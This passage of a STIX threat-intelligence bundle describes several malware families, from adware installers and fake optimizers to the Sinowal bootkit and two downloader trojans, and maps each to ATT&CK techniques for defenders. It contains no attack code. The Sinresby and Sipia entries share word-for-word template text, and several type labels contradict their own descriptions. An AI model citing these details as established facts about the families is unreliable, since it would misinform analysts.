      "source_ref": "malware--6b0deffb-120e-5928-bf50-6074d17eef50",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simplified exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4c9d45bc-e5ee-55b5-9ac5-e684ddb53446",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Simplyinstaller",
      "description": "Adware/PUP:Win32/Simplyinstaller represents a deceptive 'Pay-Per-Install' (PPI) monetization framework. It masquerades as a legitimate installation wizard or download manager for popular, free software (like media players, PDF readers, or game mods). However, its actual, hidden purpose is to aggressively bundle and install multiple, potentially unwanted programs (PUPs), adware, browser hijackers, and sometimes severe malware alongside the requested software (`T1189`).<br><br><b>Understanding Simplyinstaller (Deceptive Bundling)</b><br>To an end-user, they believe they are clicking 'Next' through a standard software installation. For an IT department, Simplyinstaller is a major headache, as a single execution can result in the silent installation of five or six different adware programs, instantly degrading the endpoint's performance and compromising browser security.<br><br><b>Execution and Bundling Mechanics</b><br>Simplyinstaller relies heavily on User Execution (`T1204.002`). The user intentionally downloads the installer, often from a deceptive third-party software portal. When executed, the installer often uses confusing UI design ('Dark Patterns') to trick the user into accepting the 'Express Install' (which includes all the adware) rather than the 'Custom Install'. In the background, Simplyinstaller reaches out to its C2 server, dynamically pulls down the adware payloads tailored to the user's geolocation, and installs them silently. These payloads often establish persistence via Scheduled Tasks (`T1053.005`) and hijack browser settings (`T1176`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, unauthorized monetization of web traffic, and increased risk of subsequent malware infection (malvertising). Host-based IoCs include the sudden appearance of multiple unknown applications in the 'Programs and Features' list, new desktop shortcuts, changed browser homepages, and EDR alerts for a single installer process rapidly dropping and executing multiple child executables in `%Temp%`. Network IoCs include the initial installer making HTTP/HTTPS requests to known affiliate marketing or PPI distribution domains to fetch the payloads. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Simplyinstaller",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/simplyinstaller"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d6cac63-a6e9-5b0d-b3a7-c9184933c1c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c9d45bc-e5ee-55b5-9ac5-e684ddb53446",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simplyinstaller exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive software portals and fake download buttons))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--768e2d34-38aa-5908-a647-d46b9b6b7653",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c9d45bc-e5ee-55b5-9ac5-e684ddb53446",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simplyinstaller exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to run the installer and click 'Next'))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06b14ea1-940d-5a42-b22d-256527cc6ef0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4c9d45bc-e5ee-55b5-9ac5-e684ddb53446",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Simplyinstaller exhibits technique T1176 (Browser Extensions (Installing bundled hijackers into Chrome/Edge))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f2f466a4-e7bb-5467-aeec-b2a9a618b25c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Singleclickoptimizer",
      "description": "Program:Win32/Singleclickoptimizer (a generic classification for Rogue System Optimizers) is a deceptive Potentially Unwanted Program (PUA) that masquerades as a highly necessary 'System Optimizer' or 'Registry Cleaner'. It utilizes aggressive, scareware-like tactics to convince users that their computer is heavily fragmented, infected with errors, or running critically slow. Its ultimate goal is not to improve system performance, but to frighten the user into purchasing a premium 'license' to fix the fabricated issues it supposedly found.<br><br><b>Understanding Rogue System Optimizers</b><br>To an end-user, Singleclickoptimizer often appears helpful, displaying professional-looking interfaces, gauges, and progress bars. For an enterprise, it represents a security risk and a massive source of IT support overhead. These rogue optimizers often make unauthorized, damaging changes to the Windows Registry in an attempt to 'clean' it, leading to system instability, broken dependencies, and application crashes. Furthermore, they are frequently bundled with actual adware and browser hijackers.<br><br><b>Execution and Extortion Mechanics</b><br>Singleclickoptimizer is typically distributed via deceptive malvertising (fake 'Update Your Drivers' pop-ups) or bundled with other freeware (`T1189`). Upon execution (`T1204.002`), it establishes persistence via the Registry Run keys or Scheduled Tasks (`T1547.001`) to ensure it launches on boot. It immediately runs a high-speed 'scan' that invariably flags hundreds of normal registry entries, temporary files, and tracking cookies as 'Critical System Errors' (`T1491`). When the user attempts to click 'Fix Issues', the software blocks the action and redirects the user to an online payment portal, demanding a subscription fee to unlock the remediation features.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is user deception, potential financial fraud, and system instability caused by aggressive registry deletion. IoCs are highly visible: persistent pop-ups warning of system errors, and a new, unapproved application icon in the system tray. EDR logs will show the software making extensive, questionable modifications to `HKLM` and `HKCU` registry hives under the guise of optimization. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Singleclickoptimizer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/singleclickoptimizer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f6814ab-c856-5cf0-ac68-d9b55c0d2133",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2f466a4-e7bb-5467-aeec-b2a9a618b25c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Singleclickoptimizer exhibits technique T1189 (Drive-by Compromise (Deceptive ads and bundling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a3ef11e-8f02-5a3c-b779-e1555f349607",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2f466a4-e7bb-5467-aeec-b2a9a618b25c",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Singleclickoptimizer exhibits technique T1491 (Defacement (Displaying fake error reports))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42573be6-9458-5e40-9b0f-a648e5156ea8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2f466a4-e7bb-5467-aeec-b2a9a618b25c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Singleclickoptimizer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8691607-a272-5a54-bc0f-c63b798ae62b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2f466a4-e7bb-5467-aeec-b2a9a618b25c",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Singleclickoptimizer exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--53b481bf-9cf6-52e3-a1b4-94089ce2e9d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Singleclickreg",
      "description": "Adware:Win32/Singleclickreg is a classic example of 'Rogueware' or a Fake System Optimizer. It operates on a model of deception and extortion. While masquerading as a legitimate 'one-click' utility to clean the registry and speed up the computer, its actual function is to generate fabricated, alarming error reports to scare the user into purchasing a 'premium' license to fix non-existent problems (`T1189`).<br><br><b>Understanding Singleclickreg (Fake Optimizers)</b><br>To an end-user, the software creates immense anxiety, constantly warning that the computer is 'Critically Damaged' or 'Infected'. For an IT department, Singleclickreg is a nuisance that generates false helpdesk tickets and often bundles secondary adware. The software itself is largely useless, and its registry 'cleaning' can sometimes cause actual system instability.<br><br><b>Execution and Deception Mechanics</b><br>Singleclickreg is heavily distributed via aggressive affiliate marketing, pop-up ads claiming the user's PC is slow, or bundled with freeware. Upon execution, it performs a rapid 'scan' that is guaranteed to find hundreds or thousands of 'errors' (which are often just temporary files, benign registry keys, or completely fabricated entries). It establishes persistence via Scheduled Tasks (`T1053.005`) to ensure the scary pop-up warnings appear every time the computer boots. It often disables the Windows Task Manager or Registry Editor to prevent the user from easily removing it (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the presence of the highly visible Singleclickreg application, unexpected Scheduled Tasks designed to run the scanner at boot, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways and affiliate tracking networks. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Singleclickreg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/singleclickreg"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c01ece2a-b7d0-548b-bcb9-e0eb069dc5a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--53b481bf-9cf6-52e3-a1b4-94089ce2e9d7",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Singleclickreg exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e21a3c20-64d7-5651-a25d-c8fda5474c63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--53b481bf-9cf6-52e3-a1b4-94089ce2e9d7",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Singleclickreg exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b52102b-cdb6-5abc-9b50-15b135d5c4f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--53b481bf-9cf6-52e3-a1b4-94089ce2e9d7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Singleclickreg exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling taskmgr to prevent termination))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99e2560c-080b-5d17-8342-f006cb122677",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sinique",
      "description": "Sinique (historically documented across threat intelligence archives as Sinique Trojan, Sinique 1.0, and Backdoor.Sinique) is an early 2000s remote access trojan (RAT) developed in Delphi. Designed as a modular client-server administration framework, Sinique allows remote unauthorized operators to control compromised Windows systems across TCP network sockets. Upon execution, the Sinique server binary installs itself into the Windows system directory, configures autostart persistence via the Windows registry Run keys, and listens for inbound connections or handshakes authenticated with a hardcoded pre-shared password. The trojan features comprehensive administrative commands including remote file system browsing, file upload and download, process termination, remote command shell execution, registry editing, and system reboot or power termination capabilities.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Sinique Trojan",
        "Backdoor.Sinique",
        "Trojan.Win32.Sinique",
        "Sinique 1.0",
        "Backdoor:Win32/Sinique"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sinique",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sinique"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5895d2ac-3c8f-5870-9554-901edcaa6f46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99e2560c-080b-5d17-8342-f006cb122677",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinique exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0019b613-7c9b-523b-b5ae-951623c0cb09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99e2560c-080b-5d17-8342-f006cb122677",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinique exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40113023-7ede-558c-bfd4-ce6ebd1fa8f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99e2560c-080b-5d17-8342-f006cb122677",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinique exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a257150-205c-5127-b93e-6f28c85be749",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99e2560c-080b-5d17-8342-f006cb122677",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinique exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--945c2e0a-48ac-5da0-be3e-cf216dc93274",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99e2560c-080b-5d17-8342-f006cb122677",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinique exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3e31d5e2-f368-5e5a-ba9e-fc1ff4bb8b5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sinowal",
      "description": "Trojan:Win32/Sinowal (widely documented in cybersecurity research as Torpig and its underlying MBR rootkit Mebroot) is a historic, landmark financial crimeware platform first discovered in 2006. Sinowal revolutionized malware stealth by becoming the very first in-the-wild crimeware to infect the Master Boot Record (MBR) of the host hard drive. By executing before the Windows operating system boots, Sinowal bypassed kernel integrity checks (PatchGuard), subverted memory security controls, and established complete operating system invisibility without altering standard system files. Operating as a premier weapon of the Russian Business Network (RBN) crimeware ecosystem, Sinowal injected into explorer.exe to deploy dynamic webinjects that intercepted banking credentials, credit card numbers, and personal identification numbers from more than 500,000 victim accounts across thousands of financial institutions worldwide. In early 2009, an international academic research team from UC Santa Barbara executed a ten-day takeover and sinkhole of the Torpig C2 infrastructure, analyzing over 70 gigabytes of intercepted data and publishing the seminal computer science paper 'Your Botnet is My Botnet'. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Sinowal",
        "Mebroot",
        "Torpig",
        "Anserin",
        "Trojan.Sinowal",
        "Win32/Sinowal"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sinowal",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sinowal"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d8aea5a-34b9-59e7-8b22-3bce06908d37",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e31d5e2-f368-5e5a-ba9e-fc1ff4bb8b5b",
      "target_ref": "attack-pattern--ffd7b408-ecb7-571a-8d55-8263054af029",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinowal exhibits technique T1542.003 (Bootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--081fa262-c5ff-5a9a-8db8-fc2a476a130e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e31d5e2-f368-5e5a-ba9e-fc1ff4bb8b5b",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinowal exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b0c4508-f6cc-512c-ac6c-dc9b5cf39728",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e31d5e2-f368-5e5a-ba9e-fc1ff4bb8b5b",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinowal exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--679d812d-3108-540d-b01f-e8d101d15762",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e31d5e2-f368-5e5a-ba9e-fc1ff4bb8b5b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinowal exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed8fa259-5dfa-53e1-92f5-ce9527daf26e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e31d5e2-f368-5e5a-ba9e-fc1ff4bb8b5b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinowal exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73bd713b-f9a4-5142-9b90-446318921ee8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3e31d5e2-f368-5e5a-ba9e-fc1ff4bb8b5b",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinowal exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--42e712f2-7997-5d80-8335-9e84bab0f6be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sinresby",
      "description": "Trojan:Win32/Sinresby is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sinresby</b><br>To an end-user, a Sinresby infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sinresby is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sinresby is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sinresby frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sinresby reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sinresby",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sinresby"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--436a7271-ee38-51a4-b530-04d55c8fc473",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42e712f2-7997-5d80-8335-9e84bab0f6be",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinresby exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11274e17-86e1-578a-bb65-033610b91ff1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42e712f2-7997-5d80-8335-9e84bab0f6be",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinresby exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82a19846-c063-5574-b066-8d5e1348cf0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42e712f2-7997-5d80-8335-9e84bab0f6be",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinresby exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a83867f-8794-5b42-9336-a1ab0bf2af9f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42e712f2-7997-5d80-8335-9e84bab0f6be",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinresby exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c383bee1-6bfb-5373-8443-0c9da4db382f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42e712f2-7997-5d80-8335-9e84bab0f6be",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sinresby exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cc447640-8542-552e-8aef-a865b0f58850",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sipia",
      "description": "Trojan:Win32/Sipia is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sipia</b><br>To an end-user, a Sipia infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sipia is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sipia is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sipia frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sipia reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sipia",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sipia"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--329f3fa4-fd64-5923-9b9e-584696956f6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc447640-8542-552e-8aef-a865b0f58850",
